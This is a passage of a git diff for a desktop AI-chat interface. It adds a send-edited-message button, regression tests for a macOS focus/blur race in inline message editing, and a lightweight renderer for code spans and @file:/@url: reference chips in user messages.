+              aria-label={copy.sendEdited}
+              className={cn('absolute right-2 bottom-2 size-5', USER_ACTION_ICON_BUTTON_CLASS)}
+              disabled={!canSubmit || submitting || staging}
+              onClick={() => {
+                const editor = editorRef.current
+
+                if (editor) {
+                  submitEdit(editor)
+                }
+              }}
+              // Keep focus in the editor on click: macOS doesn't focus a button
+              // on mousedown, so without this the arrow-click blurs the editor,
+              // the blur timer cancels the edit (tearing down the composer
+              // core), and the click's send() then throws against a dead core —
+              // the edit silently never sends. The restore button guards the
+              // same way.
+              onPointerDown={event => event.preventDefault()}
+              title={copy.sendEdited}
+              type="button"
+            >
+              {submitting ? StopGlyph : <Codicon name="arrow-up" size={USER_ACTION_ICON_SIZE} />}
+            </button>
+          </div>
+        </div>
+      </StickyHumanMessageContainer>
+    </ComposerPrimitive.Root>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message-edit-gesture.test.tsx b/ui-desktop/src/components/assistant-ui/thread/user-message-edit-gesture.test.tsx
new file mode 100644
index 000000000..b6deaa742
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message-edit-gesture.test.tsx
@@ -0,0 +1,157 @@
+import {
+  type AppendMessage,
+  AssistantRuntimeProvider,
+  ExportedMessageRepository,
+  type ThreadMessage
+} from '@assistant-ui/react'
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { useIncrementalExternalStoreRuntime } from '@/lib/incremental-external-store-runtime'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+afterEach(() => {
+  cleanup()
+})
+
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'edit me please' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'done' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: { unstable_state: null, unstable_annotations: [], unstable_data: [], steps: [], custom: {} }
+  } as ThreadMessage
+}
+
+function Harness({ onEdit }: { onEdit: (message: AppendMessage) => Promise<void> }) {
+  const repository = ExportedMessageRepository.fromArray([userMessage(), assistantMessage()])
+
+  const runtime = useIncrementalExternalStoreRuntime<ThreadMessage>({
+    messageRepository: repository,
+    isRunning: false,
+    setMessages: () => {},
+    onNew: async () => {},
+    onEdit,
+    onCancel: async () => {},
+    onReload: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread cwd={null} gateway={null} sessionId="session-1" />
+    </AssistantRuntimeProvider>
+  )
+}
+
+// Regression for the desktop "editing a message, clicking the arrow does
+// nothing — I have to click revert" report.
+//
+// On macOS a <button> does NOT take DOM focus on mousedown, so clicking the
+// send arrow blurs the contenteditable (relatedTarget = null). The blur
+// schedules an 80ms timer that cancels the edit, tearing down the assistant-ui
+// edit-composer core. When the click's send() then runs, and again when the
+// blur timer fires, cancel()/send() on a torn-down core throw "Composer is not
+// available". The throw wedged the arrow (submitting stuck true) so only revert
+// worked.
+//
+// The blur throw fires from a real setTimeout, which jsdom routes to Node as an
+// `uncaughtException` (not a DOM error event), so a window 'error' probe misses
+// it. Capture process-level uncaught exceptions for the duration of the gesture
+// instead — an unguarded throw registers here and fails the test.
+describe('edit send arrow — macOS click gesture (blur races cancel)', () => {
+  it('sends without an uncaught "Composer is not available" when the arrow-click blurs the editor', async () => {
+    const uncaught: unknown[] = []
+
+    const onUncaught = (err: unknown) => {
+      uncaught.push(err)
+    }
+
+    process.on('uncaughtException', onUncaught)
+
+    try {
+      const onEdit = vi.fn(async () => {})
+      render(<Harness onEdit={onEdit} />)
+
+      fireEvent.click(await screen.findByRole('button', { name: 'Edit message' }))
+      const editor = await screen.findByRole('textbox', { name: 'Edit message' })
+
+      await act(async () => {
+        editor.focus()
+        editor.textContent = 'edited then clicked the arrow'
+        fireEvent.input(editor)
+      })
+
+      const send = await screen.findByRole('button', { name: 'Send edited message' })
+
+      // The real gesture: mousedown on the arrow (no focus on macOS) blurs the
+      // editor to <body>, then the click fires the send, then the blur's 80ms
+      // cancel timer runs on the now-torn-down core. Wait past 80ms so the timer
+      // completes within the captured window.
+      await act(async () => {
+        fireEvent.pointerDown(send)
+        editor.blur()
+        fireEvent.click(send)
+        await new Promise(resolve => setTimeout(resolve, 200))
+      })
+
+      await waitFor(() => {
+        expect(onEdit).toHaveBeenCalledTimes(1)
+      })
+
+      const composerErrors = uncaught.filter(err => /Composer is not available/.test(String(err)))
+
+      expect(composerErrors).toEqual([])
+    } finally {
+      process.off('uncaughtException', onUncaught)
+    }
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message-edit.test.tsx b/ui-desktop/src/components/assistant-ui/thread/user-message-edit.test.tsx
new file mode 100644
index 000000000..e91285680
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message-edit.test.tsx
@@ -0,0 +1,186 @@
+import { ExportedMessageRepository } from '@assistant-ui/react'
+// Clicking a user bubble must open the inline edit composer — through the
+// app's incremental external-store runtime (which reimplements capability
+// resolution, incl. `edit: onEdit !== undefined`) and the stock runtime.
+//
+// Note: this covers the React/runtime wiring only. The Electron-level failure
+// mode (titlebar -webkit-app-region:drag swallowing clicks on *stuck* sticky
+// bubbles) is not reproducible in jsdom — see USER_BUBBLE_BASE_CLASS's no-drag
+// carve-out in thread.tsx.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { useIncrementalExternalStoreRuntime } from '@/lib/incremental-external-store-runtime'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+afterEach(() => {
+  cleanup()
+})
+
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+async function moveFocusOutside(editor: HTMLElement) {
+  const outside = window.document.createElement('button')
+  window.document.body.append(outside)
+  editor.focus()
+
+  await act(async () => {
+    outside.focus()
+    await new Promise(resolve => window.setTimeout(resolve, 120))
+  })
+
+  outside.remove()
+}
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'edit me please' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'done' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+// Mirrors chat/index.tsx: incremental runtime + messageRepository + onEdit.
+function IncrementalHarness({ onEdit }: { onEdit: () => Promise<void> }) {
+  const repository = ExportedMessageRepository.fromArray([userMessage(), assistantMessage()])
+
+  const runtime = useIncrementalExternalStoreRuntime<ThreadMessage>({
+    messageRepository: repository,
+    isRunning: false,
+    setMessages: () => {},
+    onNew: async () => {},
+    onEdit,
+    onCancel: async () => {},
+    onReload: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+// Control: stock external store runtime.
+function StockHarness({ onEdit }: { onEdit: () => Promise<void> }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [userMessage(), assistantMessage()],
+    isRunning: false,
+    onNew: async () => {},
+    onEdit
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('click-to-edit user message', () => {
+  it('opens the edit composer with the incremental runtime', async () => {
+    const { container } = render(<IncrementalHarness onEdit={async () => {}} />)
+
+    const bubble = await screen.findByRole('button', { name: 'Edit message' })
+
+    fireEvent.click(bubble)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeTruthy()
+    })
+  })
+
+  it('keeps a dirty inline edit open when focus leaves the composer', async () => {
+    const { container } = render(<IncrementalHarness onEdit={async () => {}} />)
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Edit message' }))
+
+    const editor = await screen.findByRole('textbox', { name: 'Edit message' })
+    const editedText = 'edited draft that must not be discarded'
+
+    editor.textContent = editedText
+    fireEvent.input(editor)
+    await moveFocusOutside(editor)
+
+    expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeTruthy()
+    expect((await screen.findByRole('textbox', { name: 'Edit message' })).textContent).toBe(editedText)
+  })
+
+  it('still cancels an untouched inline edit when focus leaves the composer', async () => {
+    const { container } = render(<IncrementalHarness onEdit={async () => {}} />)
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Edit message' }))
+    const editor = await screen.findByRole('textbox', { name: 'Edit message' })
+
+    await moveFocusOutside(editor)
+
+    expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeFalsy()
+  })
+
+  it('opens the edit composer with the stock runtime', async () => {
+    const { container } = render(<StockHarness onEdit={async () => {}} />)
+
+    const bubble = await screen.findByRole('button', { name: 'Edit message' })
+
+    fireEvent.click(bubble)
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeTruthy()
+    })
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message-selection.test.ts b/ui-desktop/src/components/assistant-ui/thread/user-message-selection.test.ts
new file mode 100644
index 000000000..0b766c062
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message-selection.test.ts
@@ -0,0 +1,28 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { hasTextSelection } from './user-message'
+
+afterEach(() => {
+  window.getSelection()?.removeAllRanges()
+  document.body.replaceChildren()
+})
+
+describe('hasTextSelection', () => {
+  it('is false with nothing highlighted', () => {
+    expect(hasTextSelection()).toBe(false)
+  })
+
+  it('is true once the user has a live range', () => {
+    const node = document.createElement('span')
+    node.textContent = 'copy me'
+    document.body.appendChild(node)
+
+    const range = document.createRange()
+    range.selectNodeContents(node)
+    const selection = window.getSelection()!
+    selection.removeAllRanges()
+    selection.addRange(range)
+
+    expect(hasTextSelection()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message-text.test.tsx b/ui-desktop/src/components/assistant-ui/thread/user-message-text.test.tsx
new file mode 100644
index 000000000..8018395e5
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message-text.test.tsx
@@ -0,0 +1,61 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { referenceRe, WIRE_REFERENCE_KINDS } from '@/components/assistant-ui/reference-kinds'
+
+import { UserMessageText } from './user-message-text'
+
+afterEach(cleanup)
+
+/**
+ * A sent reference must render as the chip the composer showed. These cover the
+ * seam where that used to break: the value's quoting is directive syntax, and a
+ * surface that reads it as markdown splits one reference into two wrong things.
+ */
+describe('a sent reference renders as the chip the composer showed', () => {
+  it('chips a backtick-quoted @url: instead of splitting it into code', () => {
+    render(
+      <UserMessageText text="@url:`https://github.com/agentforce314/clawcodex/pull/74790` urls lose formatting" />
+    )
+
+    expect(screen.queryByTitle('https://github.com/agentforce314/clawcodex/pull/74790')).not.toBeNull()
+    // The whole reference is one node — no bare `@url:` text left behind.
+    expect(document.body.textContent).not.toContain('@url:')
+  })
+
+  it('chips a backtick-quoted @file: path with spaces', () => {
+    render(<UserMessageText text="see @file:`apps/desktop/my notes.md` please" />)
+
+    expect(screen.queryByTitle('apps/desktop/my notes.md')).not.toBeNull()
+    expect(document.body.textContent).not.toContain('@file:')
+  })
+
+  it('chips every kind that travels in message text', () => {
+    // The guard against WIRE_REFERENCE_KINDS and the pattern's own alternation
+    // drifting apart: add a kind to one and this fails until both agree.
+    for (const kind of WIRE_REFERENCE_KINDS) {
+      expect(`@${kind}:\`some value\``.match(referenceRe()), kind).toHaveLength(1)
+    }
+  })
+
+  it('still renders a genuine code span as code', () => {
+    render(<UserMessageText text="run `npm test` first" />)
+
+    const code = document.querySelector('[data-slot="aui_user-inline-code"]')
+
+    expect(code?.textContent).toBe('npm test')
+  })
+
+  it('renders code and a reference side by side', () => {
+    render(<UserMessageText text="run `npm test` on @file:`apps/desktop/a b.ts` now" />)
+
+    expect(document.querySelector('[data-slot="aui_user-inline-code"]')?.textContent).toBe('npm test')
+    expect(screen.queryByTitle('apps/desktop/a b.ts')).not.toBeNull()
+  })
+
+  it('leaves a fenced block alone', () => {
+    render(<UserMessageText text={'before\n```ts\nconst x = 1\n```\nafter'} />)
+
+    expect(document.querySelector('[data-slot="aui_user-fence"]')?.textContent).toBe('const x = 1\n')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message-text.tsx b/ui-desktop/src/components/assistant-ui/thread/user-message-text.tsx
new file mode 100644
index 000000000..15f46495f
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message-text.tsx
@@ -0,0 +1,175 @@
+import type { FC } from 'react'
+import { Fragment, useMemo } from 'react'
+
+import { DirectiveContent } from '@/components/assistant-ui/directive-text'
+import { referenceRe } from '@/components/assistant-ui/reference-kinds'
+import { cn } from '@/lib/utils'
+
+// User messages should render the bare-minimum of markdown: backtick `code`
+// spans and ``` fenced blocks. We deliberately don't pull in the full
+// assistant Markdown pipeline (Streamdown + KaTeX + syntax highlighter)
+// because user input rarely contains structured docs and the heavy pipeline
+// adds a lot of runtime cost per bubble.
+//
+// Directive chips (`@file:`, `@image:`, ...) still resolve via DirectiveContent
+// inside the plain-text segments.
+
+interface FenceSegment {
+  kind: 'fence'
+  code: string
+  lang: string | null
+}
+
+interface InlineSegment {
+  kind: 'inline'
+  text: string
+}
+
+interface InlineCodeSegment {
+  kind: 'inline-code'
+  code: string
+}
+
+interface InlineTextSegment {
+  kind: 'inline-text'
+  text: string
+}
+
+type TopSegment = FenceSegment | InlineSegment
+type InlineNode = InlineCodeSegment | InlineTextSegment
+
+const FENCE_RE = /```([^\n`]*)\n([\s\S]*?)```/g
+
+// Greedy backtick run length so ``code with `backticks` inside`` works.
+const INLINE_CODE_RE = /(`+)([^`\n][\s\S]*?)\1/g
+
+// A directive's value is BACKTICK-QUOTED whenever it needs to be (`@url:`
+// always, and any path with a space), so the inline-code scanner would claim
+// those backticks first and split one reference into a bare `@url:` plus a code
+// span — the composer's chip, flattened on send. Directives win: this is syntax
+// the composer wrote, not something the user typed as code.
+
+/** Inline-code matches that don't overlap a directive, so a quoted directive
+ *  value reaches DirectiveContent whole. */
+function inlineCodeOutsideDirectives(text: string): RegExpMatchArray[] {
+  const directives = Array.from(text.matchAll(referenceRe())).map(match => ({
+    start: match.index ?? 0,
+    end: (match.index ?? 0) + match[0].length
+  }))
+
+  return Array.from(text.matchAll(INLINE_CODE_RE)).filter(match => {
+    const start = match.index ?? 0
+    const end = start + match[0].length
+
+    return !directives.some(directive => start < directive.end && end > directive.start)
+  })
+}
+
+function splitFences(text: string): TopSegment[] {
+  const segments: TopSegment[] = []
+  let cursor = 0
+
+  for (const match of text.matchAll(FENCE_RE)) {
+    const start = match.index ?? 0
+
+    if (start > cursor) {
+      segments.push({ kind: 'inline', text: text.slice(cursor, start) })
+    }
+
+    segments.push({
+      kind: 'fence',
+      lang: (match[1] || '').trim() || null,
+      code: match[2] ?? ''
+    })
+    cursor = start + match[0].length
+  }
+
+  if (cursor < text.length) {
+    segments.push({ kind: 'inline', text: text.slice(cursor) })
+  }
+
+  return segments
+}
+
+function splitInlineCode(text: string): InlineNode[] {
+  const nodes: InlineNode[] = []
+  let cursor = 0
+
+  for (const match of inlineCodeOutsideDirectives(text)) {
+    const start = match.index ?? 0
+
+    if (start > cursor) {
+      nodes.push({ kind: 'inline-text', text: text.slice(cursor, start) })
+    }
+
+    nodes.push({ kind: 'inline-code', code: match[2] })
+    cursor = start + match[0].length
+  }
+
+  if (cursor < text.length) {
+    nodes.push({ kind: 'inline-text', text: text.slice(cursor) })
+  }
+
+  return nodes
+}
+
+interface UserMessageTextProps {
+  text: string
+  className?: string
+}
+
+export const UserMessageText: FC<UserMessageTextProps> = ({ className, text }) => {
+  const top = useMemo(() => splitFences(text), [text])
+
+  return (
+    <span className={cn('block', className)} data-slot="aui_user-message-text">
+      {top.map((segment, segmentIndex) => {
+        if (segment.kind === 'fence') {
+          return (
+            <pre
+              className="my-1.5 max-w-full overflow-x-auto rounded-md border border-(--ui-stroke-tertiary) bg-[color-mix(in_srgb,currentColor_5%,transparent)] px-2.5 py-2 font-mono text-[0.86em] leading-snug"
+              data-slot="aui_user-fence"
+              key={`fence-${segmentIndex}`}
+            >
+              <code className="block whitespace-pre">{segment.code}</code>
+            </pre>
+          )
+        }
+
+        return (
+          <Fragment key={`inline-${segmentIndex}`}>
+            <InlineSegmentView text={segment.text} />
+          </Fragment>
+        )
+      })}
+    </span>
+  )
+}
+
+const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
+  const nodes = useMemo(() => splitInlineCode(text), [text])
+
+  return (
+    // styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
+    // UAX#9 paragraph so it resolves direction independently.
+    <span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
+      {nodes.map((node, nodeIndex) =>
+        node.kind === 'inline-code' ? (
+          <code
+            className="mx-px rounded bg-[color-mix(in_srgb,currentColor_8%,transparent)] px-1 py-px font-mono text-[0.92em]"
+            data-slot="aui_user-inline-code"
+            key={`code-${nodeIndex}`}
+          >
+            {node.code}
+          </code>
+        ) : (
+          // Pass plain-text bits through DirectiveContent so @file:/@url: chips
+          // still render. DirectiveContent already preserves whitespace.
+          <Fragment key={`text-${nodeIndex}`}>
+            <DirectiveContent text={node.text} />
+          </Fragment>
+        )
+      )}
+    </span>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/user-message.tsx b/ui-desktop/src/components/assistant-ui/thread/user-message.tsx
new file mode 100644
index 000000000..2ea43309d
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/user-message.tsx
@@ -0,0 +1,438 @@
+import { ActionBarPrimitive, BranchPickerPrimitive, MessagePrimitive, useAuiState } from '@assistant-ui/react'
+import { type FC, type ReactNode, useCallback, useRef, useState } from 'react'
+
+import { DirectiveContent } from '@/components/assistant-ui/directive-text'
+import { messageAttachmentRefs, messageContentText } from '@/components/assistant-ui/thread/content'
+import { ReactionBadge, ReactionPicker } from '@/components/assistant-ui/thread/message-reactions'
+import { type RestoreMessageTarget } from '@/components/assistant-ui/thread/types'
+import { useMessageReactions } from '@/components/assistant-ui/thread/use-message-reactions'
+import { UserMessageText } from '@/components/assistant-ui/thread/user-message-text'
+import { Codicon } from '@/components/ui/codicon'
+import { useResizeObserver } from '@/hooks/use-resize-observer'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { StopFilled } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { notifyThreadEditOpen } from '@/store/thread-scroll'
+import { isWatchWindow } from '@/store/windows'
+
+/** True when the user has a live text highlight (drag-select / triple-click). */
+export function hasTextSelection(): boolean {
+  const selection = window.getSelection()
+
+  return Boolean(selection && !selection.isCollapsed && selection.toString().length > 0)
+}
+
+export function StickyHumanMessageContainer({
+  attachments,
+  children,
+  messageId
+}: {
+  attachments?: ReactNode
+  children: ReactNode
+  messageId?: string
+}) {
+  return (
+    // Fragment, not a wrapper: a wrapping element becomes the sticky's
+    // containing block (it'd stick within its own height = never). The bubble
+    // and attachments are flow siblings so the bubble pins against the scroller
+    // while attachments below it scroll away.
+    <>
+      <div
+        className="group/user-message sticky z-40 -mx-4 flex w-[calc(100%+2rem)] min-w-0 max-w-none flex-col items-stretch gap-0 self-end overflow-visible bg-(--ui-chat-surface-background) px-4 pb-(--conversation-turn-gap) pt-1"
+        data-message-id={messageId}
+        data-role="user"
+        data-slot="aui_user-message-root"
+      >
+        {children}
+      </div>
+      {attachments}
+    </>
+  )
+}
+
+// Shared "user bubble" base. Both the read-only message and the inline
+// edit composer render the same bubble surface (rounded glass card);
+// they only differ in border weight, cursor, and padding-right (the
+// read-only view reserves room for the restore icon).
+//
+// no-drag: sticky bubbles park at --sticky-human-top (~4px), sliding under the
+// titlebar's [-webkit-app-region:drag] strips (app-shell.tsx). Electron resolves
+// drag regions at the compositor level — z-index and pointer-events don't help —
+// so without the carve-out, clicking a stuck bubble drags the window instead of
+// opening the edit composer.
+export const USER_BUBBLE_BASE_CLASS =
+  'composer-human-message standalone-glass relative flex w-full min-w-0 max-w-full flex-col gap-1.5 overflow-y-auto rounded-xl border bg-(--dt-user-bubble) px-3 py-2 text-left [-webkit-app-region:no-drag]'
+
+export const USER_ACTION_ICON_BUTTON_CLASS =
+  'grid place-items-center rounded-md bg-transparent text-(--ui-text-secondary) transition-colors hover:bg-(--ui-control-active-background) hover:text-foreground disabled:cursor-default disabled:text-(--ui-text-quaternary) disabled:opacity-70'
+
+export const USER_ACTION_ICON_SIZE = '0.6875rem'
+export const StopGlyph = <StopFilled aria-hidden className="size-3.5 -translate-y-px" />
+
+// Background-process notifications are injected into the conversation as user
+// messages (the agent must react to them, and message-role alternation forbids
+// a synthetic system row mid-loop). They are NOT something the human typed, so
+// render them as a compact system-style notice instead of a user bubble.
+// Shape: see tools/process_registry.py format_process_notification().
+const PROCESS_NOTIFICATION_RE = /^\[IMPORTANT: Background process [\s\S]*\]$/
+
+const ProcessNotificationNote: FC<{ text: string }> = ({ text }) => {
+  const body = text.replace(/^\[IMPORTANT:\s*/, '').replace(/\]$/, '')
+  const newline = body.indexOf('\n')
+  const headline = (newline === -1 ? body : body.slice(0, newline)).trim()
+  const detail = newline === -1 ? '' : body.slice(newline + 1).trim()
+
+  return (
+    <div className="flex max-w-[min(86%,44rem)] flex-col gap-0.5 self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/60">
+      <span className="flex items-center gap-1.5">
+        <Codicon className="shrink-0 text-muted-foreground/55" name="terminal" size="0.75rem" />
+        <span className="wrap-anywhere">{headline}</span>
+      </span>
+      {detail && (
+        <details className="pl-[1.3125rem]">
+          <summary className="cursor-pointer select-none text-muted-foreground/45 hover:text-muted-foreground/70">
+            output
+          </summary>
+          <pre
+            className="mt-0.5 max-h-48 overflow-auto whitespace-pre-wrap font-mono text-[0.625rem] leading-4 text-muted-foreground/55"
+            data-selectable-text="true"
+          >
+            {detail}
+          </pre>
+        </details>
+      )}
+    </div>
+  )
+}
+
+export const UserMessage: FC<{
+  onCancel?: () => Promise<void> | void
+  onRequestRestoreConfirm?: (messageId: string, target: RestoreMessageTarget) => void
+}> = ({ onCancel, onRequestRestoreConfirm }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+  const messageId = useAuiState(s => s.message.id)
+  const content = useAuiState(s => s.message.content)
+  const messageText = messageContentText(content)
+  const threadRunning = useAuiState(s => s.thread.isRunning)
+
+  const latestUserId = useAuiState(s => {
+    for (let i = s.thread.messages.length - 1; i >= 0; i--) {
+      const message = s.thread.messages[i] as { id?: string; role?: string }
+
+      if (message.role === 'user') {
+        return message.id ?? null
+      }
+    }
+
+    return null
+  })
+
+  const runtimeUserOrdinal = useAuiState(s => {
+    let ordinal = 0
+
+    for (const message of s.thread.messages) {
+      if (message.role !== 'user') {
+        continue
+      }
+
+      if (message.id === s.message.id) {
+        return ordinal
+      }
+
+      ordinal += 1
+    }
+
+    return null
+  })
+
+  const attachmentRefs = useAuiState(s => {
+    const custom = (s.message.metadata?.custom ?? {}) as { attachmentRefs?: unknown }
+
+    return messageAttachmentRefs(custom.attachmentRefs)
+  })
+
+  const [pickerOpen, setPickerOpen] = useState(false)
+  const { enabled: reactionsEnabled, react, reactions: shownReactions } = useMessageReactions(messageId, 'user')
+
+  const pickEmoji = useCallback(
+    (emoji: null | string) => {
+      setPickerOpen(false)
+      react(emoji)
+    },
+    [react]
+  )
+
+  // Sticky human bubbles clamp to ~2 lines with a soft fade so a long prompt
+  // doesn't dominate the viewport while the response streams underneath; the
+  // clamp lifts on hover / focus (see styles.css). We measure the *unclamped*
+  // inner wrapper so the ResizeObserver only fires on real content / width
+  // changes, not on every frame while the outer max-height animates open.
+  const clampInnerRef = useRef<HTMLDivElement | null>(null)
+  const [bodyClamped, setBodyClamped] = useState(false)
+  const lastClampHeightRef = useRef(-1)
+  const lineHeightRef = useRef(0)
+
+  // Watch windows spectate a subagent run driven elsewhere — prompts can't be
+  // edited, restored, or stopped from here. The bubble stays a button that
+  // toggles the 2-line clamp so long prompts are still fully readable.
+  const readOnly = isWatchWindow()
+  const [expanded, setExpanded] = useState(false)
+  const clampActive = !(readOnly && expanded)
+
+  const measureClamp = useCallback((entries: readonly ResizeObserverEntry[]) => {
+    const inner = clampInnerRef.current
+    const outer = inner?.parentElement
+
+    if (!inner || !outer) {
+      return
+    }
+
+    // Prefer the size the ResizeObserver already computed — reading
+    // `scrollHeight` outside RO timing forces a synchronous layout, and with
+    // many user bubbles observed at once those reads interleave with the
+    // style write below into a read-write-read reflow cascade.
+    const entryHeight = entries.find(entry => entry.target === inner)?.borderBoxSize?.[0]?.blockSize
+    const fullHeight = Math.ceil(entryHeight ?? inner.scrollHeight)
+
+    if (fullHeight === lastClampHeightRef.current) {
+      return
+    }
+
+    lastClampHeightRef.current = fullHeight
+
+    // Line-height is stable for the life of the bubble (font settings don't
+    // change under it) — resolve the computed style once.
+    if (!lineHeightRef.current) {
+      const styles = getComputedStyle(inner)
+      lineHeightRef.current = parseFloat(styles.lineHeight) || 1.5 * parseFloat(styles.fontSize) || 20
+    }
+
+    outer.style.setProperty('--human-msg-full', `${fullHeight}px`)
+    setBodyClamped(fullHeight > lineHeightRef.current * 2 + 1)
+  }, [])
+
+  useResizeObserver(measureClamp, clampInnerRef)
+
+  // Injected background-process notification, not a human prompt — render the
+  // compact system-style notice (after all hooks above have run).
+  if (PROCESS_NOTIFICATION_RE.test(messageText.trim())) {
+    return (
+      <MessagePrimitive.Root
+        className="flex w-full min-w-0 flex-col items-stretch"
+        data-role="user"
+        data-slot="aui_user-message-root"
+      >
+        <ProcessNotificationNote text={messageText.trim()} />
+      </MessagePrimitive.Root>
+    )
+  }
+
+  const hasBody = messageText.trim().length > 0
+  const isLatestUser = messageId === latestUserId
+  const showStop = !readOnly && isLatestUser && threadRunning && Boolean(onCancel)
+  // Restore (re-run this exact prompt) is available everywhere the Stop button
+  // isn't — including mid-stream on older prompts, since the action interrupts
+  // the live turn before rewinding.
+  const showRestore = !readOnly && !showStop && Boolean(onRequestRestoreConfirm) && hasBody
+
+  const bubbleClassName = cn(
+    USER_BUBBLE_BASE_CLASS,
+    'cursor-pointer pr-9 text-[length:var(--conversation-text-font-size)] leading-(--dt-line-height) text-foreground/95 transition-colors',
+    'border-(--ui-stroke-tertiary) hover:border-(--ui-stroke-secondary)'
+  )
+
+  const bubbleContent = hasBody && (
+    // Render the user's text through a minimal markdown pipeline:
+    // backtick `code` and ``` fenced ``` blocks, with directive chips
+    // (`@file:` etc.) still resolved inside the plain-text spans.
+    <div
+      className={cn(clampActive && 'sticky-human-clamp')}
+      data-clamped={clampActive && bodyClamped ? 'true' : undefined}
+    >
+      {/* Match the edit composer's collapsed line box (min-h-[1.25rem]) so
+          clicking to edit can't grow the bubble by a sub-pixel and reflow the
+          turn 1px. */}
+      <div className="min-h-[1.25rem]" ref={clampInnerRef}>
+        <UserMessageText className="wrap-anywhere" text={messageText} />
+      </div>
+    </div>
+  )
+
